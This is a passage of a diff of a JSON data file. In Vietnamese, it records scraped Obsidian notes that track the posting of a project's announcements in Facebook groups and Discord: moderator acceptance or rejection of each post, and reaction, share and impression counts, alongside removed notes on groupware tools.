do, tỉ lệ 10%. Nếu chỉ xét là đọc tiếp thì là 9/31=30%. Những người đọc tiếp có vẻ cũng khá quan tâm\n\n14:45 68 react\n123 người vào trang giới thiệu thì 14 người vào trang lấy code. Tỉ lệ 11%\n![](https://i.imgur.com/VMXcM7h.png) \n\n# [[05-02]]\n17:19 [[Bàn làm việc Google Calendar]] https://www.facebook.com/groups/153841081324271/posts/24463825066565867/\n17:49 được duyệt lại [[Phân loại câu nhập]]\n17:50 75 react\n22:00 80 react", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-20T10:00:00.000Z", - "Ngày cập nhật": "2024-08-20T09:25:00.000Z", - "id": "QH" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-22T05:32:00.000Z", + "id": "QV" }, { - "Tiêu đề": "Google Calendar", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Google Calendar", + "Tiêu đề": "SME, startup, khởi nghiệp", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Hỗ trợ tổ chức/SME, startup, khởi nghiệp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật::\n", + "Toàn bộ nội dung": "# [[Phân loại chi tiêu]]\n## Pending\nSME Business Forum https://www.facebook.com/groups/sbforum.vn/my_pending_content\nHọc viện SME https://www.facebook.com/groups/hocviensme/my_pending_content\nStartup Freshman https://www.facebook.com/groups/502974746566119/my_pending_content\nCộng Đồng Startup Đà Nẵng https://www.facebook.com/groups/283251401820477/my_pending_content\nGIÚP NHAU KHỞI NGHIỆP https://www.facebook.com/groups/414184702279179/my_pending_content\nNhóm Tìm Bạn Khởi Nghiệp- Kết Nối Ý Tưởng- Hợp Tác Kinh Doanh https://www.facebook.com/groups/560509144398627/my_pending_content\nCộng Đồng Chủ Quán - Khởi Nghiệp Và Kinh Doanh FNB https://www.facebook.com/groups/298811123938314/my_pending_content\n\n## Declined\nCLB Doanh Nhân Trẻ Khởi Nghiệp-YBC Startup [Page not found | Facebook](https://www.facebook.com/groups/854111068514353/my_declined_content)\nTìm Bạn Khởi Nghiệp- Kết Nối Ý Tưởng- Hợp Tác Kinh Doanh ✅ https://www.facebook.com/groups/519336258927487/my_pending_content\n\n## Accepted\n[[07-02]] 18:35 Startup Job & Early-stage Investment ( Vietnam ) https://www.facebook.com/groups/1001237899913266/posts/7085099734860355/\n[[15-02]] 18:27 Vietnam Startup Club https://www.facebook.com/groups/vietnamstartupclub/posts/6950005465129035\n\n## 1 like\n[[07-02]] 19:57 Táo Khởi Nghiệp https://www.facebook.com/groups/taostartup/posts/7474379922606324\n[[07-02]] 16:00 CHUNG TAY KHỞI NGHIỆP - VIETNAM STARTUP TOGETHER https://www.facebook.com/groups/212916536801390/posts/1124432645649770/\n[[16-02]] 18:01 STARTUPS FORUM IN VIET NAM https://www.facebook.com/groups/startupsforuminvietnam/posts/945362689786435\n\n# [[Lời mời tham gia đầu tư vào Trấn Kỳ]] \nNhóm Tìm Bạn Khởi Nghiệp- Kết Nối Ý Tưởng- Hợp Tác Kinh Doanh https://www.facebook.com/groups/560509144398627/my_pending_content\n\n# [[Câu hỏi khảo sát#Khi nào thì các quán ăn cần tới việc nhập liệu và gắn nhãn dữ liệu?]]\n## Pending\n[[15-02]] Cộng Đồng Chủ Quán - Khởi Nghiệp Và Kinh Doanh FNB https://www.facebook.com/groups/298811123938314/my_pending_content", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QI" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-16T11:06:00.000Z", + "id": "QW" }, { - "Tiêu đề": "Google Drive", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Google Drive", + "Tiêu đề": "Kingdom of Cubes", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Kingdom of Cubes", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Simple URL Tricks for Google Drive You Should Know - Digital Inspiration](https://www.labnol.org/internet/direct-links-for-google-drive/28356/)\n", + "Toàn bộ nội dung": "# [[09-11]]\n13:36: [[Phân loại chi tiêu (ngắn)]] https://www.facebook.com/groups/1953782904907048/posts/3601593850125937/", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QJ" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-02T14:41:00.000Z", + "id": "QX" }, { - "Tiêu đề": "Discord", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm chat nhóm/Discord", + "Tiêu đề": "BPO", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Nghề nghiệp/BPO", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: \nƯu điểm:: ", + "Toàn bộ nội dung": "# Cho em hỏi có công việc nào về nhập liệu excel ko?\n[[14-02]] 00:20 Cộng tác viên nhập liệu BPO (nhóm mới) bị từ chối ngay ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-01T09:35:00.000Z", - "id": "QK" + "Ngày cập nhật": "2024-02-13T17:23:00.000Z", + "id": "QY" }, { - "Tiêu đề": "Messenger", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm chat nhóm/Messenger", + "Tiêu đề": "Marketing", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Nghề nghiệp/Marketing", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: • Chỉ cho một thiết bị vào cùng lúc
    • Không chia phòng được
    • Không kết nối với các dịch vụ khác được\nƯu điểm::\n", + "Toàn bộ nội dung": "# [[Bàn làm việc Google Calendar]]\n## Pending\n[[31-12]] 15:05 Cộng Đồng Agency Truyền Thông - Marketing Việt Nam https://www.facebook.com/groups/161907589211396/pending_posts\n\n# [[Phân loại câu nhập]]\n## UAN Marketing \n[[04-02]] 23:34 https://www.facebook.com/groups/uanvn/posts/7332793856784967\n[[05-02]] 08:50 bị xoá trên Facebook vì là giới thiệu sản phẩm\n14:49 https://t.me/uan_mkt/864/2621\n\n# [[Các buổi đáp ứng nhu cầu học lập trình]]\n## Declined\n[[08-02]] Vietnam Market Report & AI Marketing https://www.facebook.com/groups/520739508884015/my_pending_content\n\n# [[Câu hỏi khảo sát#Mức độ thường xuyên phải phân loại, gắn nhãn thông tin (chuyển từ dữ liệu phi cấu trúc sang dữ liệu có cấu trúc) của bạn khi làm tiếp thị là như thế nào?]]\n[[09-02]] 17:05 Vietnam Market Report & AI Marketing https://www.facebook.com/groups/vietnam.market.report/posts/1324895795135045/\n\n# [[Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)]]\n## Pending\n## Declined\n[[20-02]] Vietnam Market Report & AI Marketing https://www.facebook.com/groups/520739508884015/my_pending_content\n[[20-02]] Cộng Đồng Agency Truyền Thông - Marketing Việt Nam https://www.facebook.com/groups/161907589211396/my_pending_content\n[[20-02]] UAN Marketing https://www.facebook.com/groups/826780827386335/my_pending_content\n\n## 0\n[[22-02]] 09:42 Cộng Đồng Marketing VN https://www.facebook.com/groups/677245282717381/posts/1884233492018548 \n\n## Thực tập sinh Digital Marketing | Cộng đồng Digital Marketer (Newbie)\n[[20-02]] 20:01 https://www.facebook.com/groups/digica/posts/7459350427449250/\n2 react, 1 comment\n\n[[Web dev, GA, Ads, SEO, MMO]] \n\n# [[Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng]]\n## Reject \n[[05-07]] 19:33 [Log in to Facebook](https://www.facebook.com/groups/826780827386335/pending_posts/8016738338390512/)\n[[06-07]] 14:58 [Page not found | Facebook](https://www.facebook.com/groups/826780827386335/pending_posts/?search=&has_selection=false&is_notif_background=false&post_id=8021023211295358)\n## UAN Telegram\n[[05-07]] 20:47 https://t.me/uan_mkt/864/2738", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QL" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-06T07:59:00.000Z", + "id": "QZ" }, { - "Tiêu đề": "Zalo", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm chat nhóm/Zalo", + "Tiêu đề": "Sự kiện, HR", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Nghề nghiệp/Sự kiện, HR", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "# [[Bàn làm việc Google Calendar]]\n[[31-12]] 15:14 Event Management - Cộng đồng tổ chức sự kiện https://www.facebook.com/groups/EventManagement.vn/my_pending_content\n[[29-12]] HrShare https://www.facebook.com/groups/hrlinkvn/posts/6752464311549538\n[[08-02]] bị xoá\n\n\n\n# [[Câu hỏi khảo sát#Khi nào thì công việc nhân sự cần tới việc nhập liệu và gắn nhãn dữ liệu?]]\n## Cộng Đồng Chủ Quán - Khởi Nghiệp Và Kinh Doanh FNB\n[[17-02]] 19:13 https://www.facebook.com/groups/chuquankinhdoanhfnb/posts/1732944450524967/\nQuán nhỏ thì họ cứ giấy viết sổ sách thôi, họ làm ngày nào xào ngày ấy nên chả quan tâm report hay nhãn dữ liệu là cái gì đâu.\n\nQuán lớn hoặc chủ hoặc người quản lý có tư duy vận hành tự động hay số hoá dữ liệu thì họ sẽ tiếp cận vs các đơn vị đang có sẵn giải pháp này trên thị trường rồi.\n\nBạn đặt ra ngữ cảnh là đi chợ, và đây là trường hợp tệ nhất, nó chỉ xảy ra đối với quán nhỏ mình nói đầu tiên kia thôi.\n\nĐối với những quán có quy mô hơn thì bên cạnh việc sử dụng giải pháp vận hành công nghệ có sẵn từ các đơn vị khác thì đầu còn lại các supplier của họ cũng có sẵn việc phân loại, thống kê, structure dữ liệu đặt hàng, giao dịch cho quán luôn rồi.\n\nNói chung giải pháp của bạn không mới mẻ cũng không giải quyết vấn đề gì có thật nếu trong ngữ cảnh quán nhỏ xíu đi chợ mua hàng mỗi ngày.\n\nBạn phải để ý, riêng cái hành vi đi chợ mỗi ngày đã là sai trong việc thiết lập quy trình vận hành rồi chứ ko phải lổ hổng của quản lý dữ liệu. Một quán nếu chọn phương án nhập đầu vào thông qua cách đó thì dù có đưa công nghệ vào để xử lý dữ liệu như bạn đang nêu ra thì cũng chẳng triệt để được, nhân viên hoặc người mua vẫn có thể bị rơi vào trường hợp gian lận hoặc thiếu sót dữ liệu thống kê thôi.\n\nGóp ý đến bạn nhé !\n \nThân !👻\n\n## HrShare \n[[16-02]] 13:38 https://www.facebook.com/groups/hrlinkvn/posts/6933586863437281\n14:39 1 react, 1 share\n[[17-02]] 19:13 3 react, 1 comment, 1 share", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T17:18:00.000Z", - "id": "QM" + "Ngày cập nhật": "2024-02-20T09:31:00.000Z", + "id": "Qa" }, { - "Tiêu đề": "Butter", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Butter", + "Tiêu đề": "Web dev, GA, Ads, SEO, MMO", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Nghề nghiệp/Web dev, GA, Ads, SEO, MMO", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: Tối đa 45 phút khi có 3 thiết bị tham gia trở lên\nGiới hạn về mặt công nghệ:: Không dùng trên điện thoại được\nƯu điểm::\n", + "Toàn bộ nội dung": "# [[Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)]]\n## Pending\n[[21-02]] Cộng đồng Google Ads Việt Nam (Nhóm Hỗ Trợ Goolge Ads, GA4, Tag Manager) https://www.facebook.com/groups/547734798983272/my_pending_content/\n[[26-02]] Tools MMO https://www.facebook.com/groups/1857771804400681/my_pending_content\n\n## Decline\n[[21-02]] Cộng đồng Google Adwords Việt Nam https://www.facebook.com/groups/1839777139640099/my_pending_content/\n[[26-02]] CHỢ NGHIỆN SEO https://www.facebook.com/groups/681244682686340/my_pending_content\n\n## 0 like\n[[21-02]] 22:06 Hội Lập Trình - Thiết Kế Web - SEO - Marketing Chuyên Nghiệp https://www.facebook.com/groups/vutruseo/posts/1991896184530936/\nHọc Lập Trình Web (Freetuts.net) https://www.facebook.com/groups/freetutsdotnet/posts/2116471305370282/\n23:01 Cộng đồng SEO Mũ Trắng Việt Nam https://www.facebook.com/groups/seomutrangvietnam/posts/386494940662711/\n\n## 1 like\n22:38 Cộng Đồng Google Analytics 4 (GA4) - Việt Nam https://www.facebook.com/groups/578268814077720/posts/892067449364520/\n\n# [[Các buổi đáp ứng nhu cầu học lập trình]]\n## Pending\n[[26-02]] Học lập trình Web Frontend & Backend https://www.facebook.com/groups/1283666168335006/my_pending_content\n## 0 0 0\n[[26-02]] 19:46 CHỢ NGHIỆN SEO https://www.facebook.com/groups/chonghienseo/posts/1587292382081561/\n## 1 like\n[[26-02]] 17:46 Cộng đồng SEO Mũ Trắng Việt Nam https://www.facebook.com/groups/seomutrangvietnam/posts/389043517074520/\n[[21-03]] bị xoá\n\n# [[Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QN" + "Ngày tạo": "2024-02-21T15:06:00.000Z", + "Ngày cập nhật": "2024-08-02T05:56:00.000Z", + "id": "Qb" }, { - "Tiêu đề": "Discord (gọi video)", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Discord (gọi video)", + "Tiêu đề": "Công nghệ", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Sở thích công nghệ/Công nghệ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: • Chỉ cho một thiết bị vào cùng lúc
    • Không chia phòng được
    • Không kết nối với các dịch vụ khác được\nƯu điểm:: Tích hợp bảng vẽ\n\nLĩnh vực:: \nNhu cầu công nghệ::\n", + "Toàn bộ nội dung": "# [[Phân loại câu nhập]]\n## Tinhte\n### [[04-02]]\n23:05 https://tinhte.vn/thread/phan-loai-cau-nhap-bang-tieng-viet-tu-nhien.3761372/\n\n## Viet Tech\nbị block\n\n# [[Phân loại chi tiêu]]\n## Pending\n## Cộng đồng chia sẻ phần mềm và thủ thuật công nghệ \n[[09-02]] 17:27 https://www.facebook.com/groups/baominhtechnology/posts/3865621507042729/\n[[10-02]] 11:32 0 0 0 ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-23T10:57:00.000Z", - "Ngày cập nhật": "2024-08-23T10:57:00.000Z", - "id": "QO" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-20T09:31:00.000Z", + "id": "Qc" }, { - "Tiêu đề": "Gather", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Gather", + "Tiêu đề": "J2TEAM", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Sở thích công nghệ/J2TEAM", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: Tối đa 25 người\nGiới hạn về mặt công nghệ:: \nƯu điểm:: Di chuyển tự do, Cảm giác gần gũi như ở cùng nhau thật\n\n\nGather\n", + "Toàn bộ nội dung": "# [[Phân loại câu nhập]] \n[[03-02]] 16:39 chờ duyệt https://www.facebook.com/groups/364997627165697/pending_posts/?search=&has_selection=false&is_notif_background=false&post_id=2307293236269450\n[[04-02]] 15:55 42 react, 3 share\n17:39 47 react \n\n![](https://i.imgur.com/dF3dbQt.png)\n![](https://i.imgur.com/4ydncxU.png)\n![](https://i.imgur.com/rsyNKrn.png)\n[[05-02]] https://www.facebook.com/groups/j2team.community/posts/2308276892837751\n11:48 \n1k like 48 tim 4 thương thương 6 haha 111 ngạc nhiên 1 buồn\n66 comment 141 share\n\n14:17 1.2 like, 59 tim, 5 tt, 6 haha, 129 ngạc nhiên, 1 buồn. 78 comment, 159 share\n23:20 1.6k, 108 comment, 228 share\n\n[[06-02]] 13:48 1.8k, 117 comment, 266 share\n\nSo sánh với một số bài khác:\n- [J2TEAM Community | # \\*\\*Microsoft Edge Gestures\\*\\*](https://www.facebook.com/groups/j2team.community/posts/2305918139740293/?__cft__[0]=AZXcQTtwKO0nOStO1lEP3VgH2qNGqtamD7rg7tgBI-pXvZ0xd3z6bNzzQz2T7UHTNAFfkq-UvV2R1cKQz6sMI-QWw_4VmtJgnhZ0JlxapgzMXuO6Y9KSxk3n4XS3T9-drJnnCi6rZquDhna3wT2fwlxgilEyUmnaW0D9ngiTZ1FAV20zJmDwG4YzOppRGka6YMo&__tn__=%2CO%2CP-R)\n- [J2TEAM Community | Dự án của công ty / Team bài tập lớn trên trường / Project cá nhân của bạn đang viết commit message như thế nào](https://www.facebook.com/groups/j2team.community/posts/2304230613242379/?__cft__[0]=AZUP9Iks29_yQ6NEZGByjVMcrTTyI6zwvm3WeXh9AIwgLk3gW23p4lbXf1vEeGoRol40gW6z498nAg5MWsLtls9qU_Jz_1P1peBpC1aLpog_7FUage8qLts5XlXIc18VjXGNh5CSUcEU5dUrf33yTHLrwzMIORKOO_YXga6vmiwxqEKVpghjrzUAXdYGtw91_MM&__tn__=%2CO%2CP-R) 1k react, 53 comment, 380 share\n- [J2TEAM Community | # Chào mọi người | Facebook](https://www.facebook.com/groups/j2team.community/posts/2307637936234980/?__cft__[0]=AZVkHMtvmGzC5q1GSjS1N14ezebNVCgQ9jCxDdu9iU8xghoaepr5YhKwev-xgsGtBOr3aD1MJmjbyps84f2hJ1YkKU885Zw0Q31G9vhD6nWXaH1TOvkPLpOUlqbFkiBtz1Qttq2AIXqbo_HAACZXsezyr8NqafpkRW1J4_pjx0XAUAAeCEbl0eJwH1qoCqtHlJ8&__tn__=%2CO%2CP-R) 1.9k react 105 comment 363 share\n- [J2TEAM Community | Các Web Phim Đã \"Lạm Dụng\" Máy Chủ TikTok Để Giảm Chi Phí Như Thế Nào](https://www.facebook.com/groups/j2team.community/posts/2302319523433488): 11k react, 836 comment, 1.7k share\n\n[[07-02]] 22:28 2k react, 122 comment, 343 share\n[[15-02]] 10:20 2.3k react, 132 comment, 434 share", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QP" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-03-21T13:48:00.000Z", + "id": "Qd" }, { - "Tiêu đề": "Google Meet", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Google Meet", + "Tiêu đề": "Discord QC", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Quả Cầu/Discord QC", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: Tối đa 45 phút khi có 3 thiết bị tham gia trở lên\nGiới hạn về mặt công nghệ:: \nƯu điểm:: Tích hợp với Google Docs, Phụ đề\n\n", + "Toàn bộ nội dung": "Phục vụ cho thành quả:\n```dataview\nList \nFrom #file/thành-quả \nwhere contains(file.outlinks,[[]]) \n```\nhttps://github.com/QuaCau-TheSphere/Nhap-mon-Obsidian-va-Git-cho-quan-ly-du-an/graphs/traffic\n\n# [2023-02-09 16:10](https://discord.com/channels/898550123007709204/898550123007709209/1073168252022304838) \n\n> [!NOTE]- theo mọi người thì trong những mục tiêu này thì mình nên tập trung vào mục tiêu nào trước? \n> • 100 người xây dựng vault của họ từ vault này \n> • 10 người đóng góp xây vault \n> • 50% người xây vault kết nối nhu cầu của mình tới vault chung\n\n| Trước khi đăng | | 52 | 12 | 62 | 18 |\n| -------------- | --- | --- | --- | --- | --- |\n| Sau 24 tiếng | | | | | |\n# Cũ\n## [2023-02-06 22:07](https://discord.com/channels/898550123007709204/898550123007709209/1072171583378051072) \n### GitHub\n| Trước khi đăng | 21:51 | 39 | 10 | 55 | 15 |\n| -------------- | ---------------- | --- | --- | --- | --- |\n| Sau 14 tiếng | 11:48 | 51 | 11 | 56 | 16 |\n| Sau 24 tiếng | 23:07 | 51 | 11 | 58 | 17 |\n| Sau 66 tiếng | 2023-02-09 15:57 | 52 | 12 | 62 | 18 |\n| | | | | | |\n### Discord\n\n\n## [2023-02-03 18:20](https://discord.com/channels/898550123007709204/898550123007709209/1070665110974107728) \n### GitHub\nSau khi đăng:: 00:25, 26, 4, 1, 0\n\n### Discord\n-\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QQ" + "Ngày cập nhật": "2024-02-23T06:36:00.000Z", + "id": "Qe" }, { - "Tiêu đề": "Messenger (gọi video)", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Messenger (gọi video)", + "Tiêu đề": "Untitled", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Quả Cầu/Discord QC/Untitled", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: Chỉ cho một thiết bị vào cùng lúc\nGiới hạn về mặt công nghệ:: Không chia phòng được\nGiới hạn về mặt công nghệ:: Không kết nối với các dịch vụ khác được\nƯu điểm::\n", + "Toàn bộ nội dung": "# [[06-11]]\n20:21: đăng [[Lời mời xây dựng một startup]]. Số lượng thành viên: 128\n# [[09-11]]\n15:55: 2 người like [[Lời mời xây dựng một startup]]: uurin và pqn\nĐăng [[Các buổi đáp ứng nhu cầu học lập trình]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "QR" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-26T09:58:00.000Z", + "id": "Qf" }, { - "Tiêu đề": "Microsoft Teams", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Phần mềm làm việc nhóm (groupware)/Phần mềm gọi video/Microsoft Teams", + "Tiêu đề": "Facebook page QC", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Quả Cầu/Facebook page QC", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { + "Tên dự án": "Ξ Kết quả truyền thông", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giới hạn của bản miễn phí:: \nGiới hạn về mặt công nghệ:: \nƯu điểm:: Người tham gia có thể điều khiển slide theo ý muốn\n", + "Toàn bộ nội dung": "## [[Các buổi đáp ứng nhu cầu học lập trình]]\n[[09-11]] 15:38 https://www.facebook.com/quacau.sphere/posts/pfbid0ePQADgc8zmQH7FyVa2GjHtmaMF1Rv4h8MnwMiy3f7LgSn3YQf9tDtvUzCwwuYJmQl\n\n[[16-11]] 23:56: \n- Post impressions: 127\n- Post reach: 121\n- Engagement: 17\n- Reactions: 4\n- Comments: 0\n- Link clicks: 2\n- Shares: 0\n- Other clicks: 3\n\n[[21-03]] 20:41 7 react, 14 share\n\n## [[Bàn làm việc Google Calendar]]\n[[29-12]] 17:06 https://www.facebook.com/quacau.sphere/posts/pfbid02zVMWHfUYFZ7rv5gnLnx4TJfxmi273DBZ9XrXRtKxgoFKt9wN9ptm6CgYdnS3TZnyl\n22:46 46 46 5\n[[31-12]] 15:08 104 104 11\n\n## [[Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)]]\n[[20-02]] 02:33 https://www.facebook.com/quacau.sphere/posts/pfbid028r4PfZ2SiamuaSVT5CMMzgfjQfkVLnjkTrNU7dfLNoWiNNW1o1ceBV8bv1DS5gH2l\n[[21-02]] 01:17 2 react\n[[23-02]] 19:32 248 impression, 33 engagement\n[[24-02]] 13:09 319 impression, 36 engagement\n\n## [[đối ⊷ thoại]]\n[[23-05]] 16:08 [dạng link](https://www.facebook.com/quacau.sphere/posts/pfbid05EsAmUkU2LwiYksgXhE55NnZdZ1Xs2NoHxUhg4hzt6yTZwDa4uco397NQKQ7KCRKl) \n16:30 3 view\n19:01 3 view. Share lại trên [[Profile QC]]\nhttps://www.facebook.com/qua.cau.the.sphere/posts/pfbid0K1dS32XBxSdz7po9zx4YgqFhWvei1Q4cBCEfAmBHHbnBKDNfKhtCSi151iWrBNVZl\n\n[[24-05]] 18:00 27 view, 27 impression, 1 like\ndạng ảnh https://www.facebook.com/quacau.sphere/posts/pfbid02KYRdxC6aAXdkDJLB1L4c2PUM4mUsSs4Lw9XbcymSheQ56dPZDbNVhDdDSEj1VsT2l\n23:00 23 view, 23 impression, 1 like\n\n[[08-06]] 20:52 đăng dạng ảnh trang chủ https://www.facebook.com/quacau.sphere/posts/pfbid0Y6Rsu6rQuBtPtwDj4xzonDkyh8Jrpbr8YrsJUvbTWwaw7MyEwW4jLEkjhAvkUAfjl\n21:10 1 like\n[[09-06]] 00:28 21 view, 21 impression, 1 like\n13:07 26 view, 26 impression, 1 like\n\n| | Reach | Impression | React |\n| --------------------------------- | ----- | ---------- | ----------------- |\n| Link sihouette | 90 | 96 | 2 (có 1 tự share) |\n| Ảnh sihouette | 46 | 46 | 1 |\n| Ảnh trang chủ | 26 | 26 | 1 |\n| Ảnh trang chủ , link dưới comment | | | |\n\n## [[Tạo website]]\n[[16-07]] 17:00 [Quả Cầu](https://www.facebook.com/quacau.sphere/posts/pfbid02tZzzoSvaY1rgPJCL1fj2rS9AKjGbQMmJ3JkPw8ZJ5MY42ekARQEaXJPXy86MEYXjl)\n[[18-07]] 10:45 link có 2 đoạn đầu\n\n| | Reach | Impression | React |\n| --------------------------------- | ----- | ---------- | ----- |\n| Link không có gì cả | 11 | 11 | |\n| Link có 